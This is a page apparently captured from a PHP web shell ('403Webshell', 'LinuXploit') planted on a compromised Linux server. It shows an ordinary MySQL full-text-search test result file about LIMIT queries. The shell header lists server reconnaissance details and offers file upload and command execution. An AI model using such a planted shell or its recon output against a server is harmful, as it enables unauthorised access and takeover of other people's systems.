403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.107.56
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/innodb_fts/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/innodb_fts/r/limit_union.result
# Bug #22709692	FTS QUERY EXCEEDS RESULT CACHE LIMIT
CREATE TABLE articles (
id INT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY,
title VARCHAR(200),
body TEXT,
FULLTEXT (title,body),
FULLTEXT (body))ENGINE=InnoDB;
INSERT INTO articles (title,body) VALUES
('MySQL Tutorial','DBMS stands for DataBase ...'),
('How To Use MySQL Well','After you went through a ...'),
('Optimizing MySQL','In this tutorial we will show ...'),
('1001 MySQL Tricks','1. Never run mysqld as root. 2. ...'),
('MySQL vs. YourSQL','In the following database comparison ...'),
('MySQL Security','When configured properly, MySQL ...');
SET GLOBAL query_cache_size=0;
Warnings:
Warning	1287	'@@query_cache_size' is deprecated and will be removed in a future release.
# Query involves Ranking
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL' IN NATURAL LANGUAGE MODE) LIMIT 1;
id	title	body
6	MySQL Security	When configured properly, MySQL ...
# Without optimization
SET DEBUG = '+d,fts_union_limit_off';
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL' IN NATURAL LANGUAGE MODE) LIMIT 1;
id	title	body
6	MySQL Security	When configured properly, MySQL ...
SET DEBUG = '-d,fts_union_limit_off';
# Query involves No Ranking and fts_union operations
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL' IN BOOLEAN MODE) limit 1;
id	title	body
1	MySQL Tutorial	DBMS stands for DataBase ...
# Without optimization
SET DEBUG = '+d,fts_union_limit_off';
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL' IN BOOLEAN MODE) limit 1;
id	title	body
6	MySQL Security	When configured properly, MySQL ...
SET DEBUG = '-d,fts_union_limit_off';
# Query involves No ranking and fts_union, fts_ignore
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL -YourSQL' IN BOOLEAN MODE) limit 1;
id	title	body
6	MySQL Security	When configured properly, MySQL ...
# Without optimization
SET DEBUG = '+d,fts_union_limit_off';
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL -YourSQL' IN BOOLEAN MODE) limit 1;
id	title	body
6	MySQL Security	When configured properly, MySQL ...
SET DEBUG = '-d,fts_union_limit_off';
# Query with fts_intersect
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL +YourSQL' IN BOOLEAN MODE) limit 1;
id	title	body
5	MySQL vs. YourSQL	In the following database comparison ...
# Without optimization
SET DEBUG = '+d,fts_union_limit_off';
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL +YourSQL' IN BOOLEAN MODE) limit 1;
id	title	body
5	MySQL vs. YourSQL	In the following database comparison ...
SET DEBUG = '-d,fts_union_limit_off';
INSERT INTO articles (title,body) VALUES
('MySQL Tutorial','request [email protected] ...'),
('MySQL Tutorial','request [email protected] ...'),
('Trial version','query performace @1255 minute on 2.1Hz
	  Memory 2GB...'),
('when To Use MySQL Well','for free faq  [email protected] ...');
# Query with @distance
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('"MySQL request"@3' IN BOOLEAN MODE) limit 1;
id	title	body
7	MySQL Tutorial	request [email protected] ...
# Without optimization
SET DEBUG = '+d,fts_union_limit_off';
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('"MySQL request"@3' IN BOOLEAN MODE) limit 1;
id	title	body
7	MySQL Tutorial	request [email protected] ...
SET DEBUG = '-d,fts_union_limit_off';
# Query with subexpression
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('+MySQL +(-support +doc)' IN BOOLEAN MODE) limit 1;
id	title	body
7	MySQL Tutorial	request [email protected] ...
# Without optimization
SET DEBUG = '+d,fts_union_limit_off';
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('+MySQL +(-support +doc)' IN BOOLEAN MODE) limit 1;
id	title	body
7	MySQL Tutorial	request [email protected] ...
SET DEBUG = '-d,fts_union_limit_off';
# limit num1 OFFSET num2
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL' in boolean mode) limit 4 offset 2;
id	title	body
2	How To Use MySQL Well	After you went through a ...
3	Optimizing MySQL	In this tutorial we will show ...
4	1001 MySQL Tricks	1. Never run mysqld as root. 2. ...
5	MySQL vs. YourSQL	In the following database comparison ...
# Without optimization
SET DEBUG = '+d,fts_union_limit_off';
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('MySQL' in boolean mode) limit 4 offset 2;
id	title	body
2	How To Use MySQL Well	After you went through a ...
3	Optimizing MySQL	In this tutorial we will show ...
4	1001 MySQL Tricks	1. Never run mysqld as root. 2. ...
5	MySQL vs. YourSQL	In the following database comparison ...
SET DEBUG = '-d,fts_union_limit_off';
# wild card search
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('ru*' IN BOOLEAN MODE) limit 1;
id	title	body
4	1001 MySQL Tricks	1. Never run mysqld as root. 2. ...
# Without optimization
SET DEBUG = '+d,fts_union_limit_off';
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('ru*' IN BOOLEAN MODE) limit 1;
id	title	body
4	1001 MySQL Tricks	1. Never run mysqld as root. 2. ...
SET DEBUG = '-d,fts_union_limit_off';
# phrase search
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('"request support"' IN BOOLEAN MODE) limit 1;
id	title	body
8	MySQL Tutorial	request [email protected] ...
# Without optimization
SET DEBUG = '+d,fts_union_limit_off';
SELECT * FROM articles
WHERE MATCH (title,body)
AGAINST ('"request support"' IN BOOLEAN MODE) limit 1;
id	title	body
8	MySQL Tutorial	request [email protected] ...
SET DEBUG = '-d,fts_union_limit_off';
DROP TABLE articles;
Warnings:
Warning	1287	'@@query_cache_size' is deprecated and will be removed in a future release.
#
# Bug #31228694 FTS QUERY WITH LIMIT CRASH
#
# restart: --ngram_token_size=1
select @@ngram_token_size;
@@ngram_token_size
1
CREATE TABLE t1 (
id INT(10) unsigned NOT NULL AUTO_INCREMENT,
name VARCHAR(45) NOT NULL,
PRIMARY KEY (id) USING BTREE,
FULLTEXT KEY search_name (name)  WITH PARSER ngram
) ENGINE=InnoDB;
INSERT INTO t1(name) VALUES('x'), ('mx'), ('mx'), ('mx'), ('mx');
SELECT * FROM t1 WHERE MATCH (`name`) AGAINST ('mx*' IN BOOLEAN MODE) LIMIT 3;
id	name
2	mx
3	mx
4	mx
DROP TABLE t1;
# restart: 

Youez - 2016 - github.com/yon3zu
LinuXploit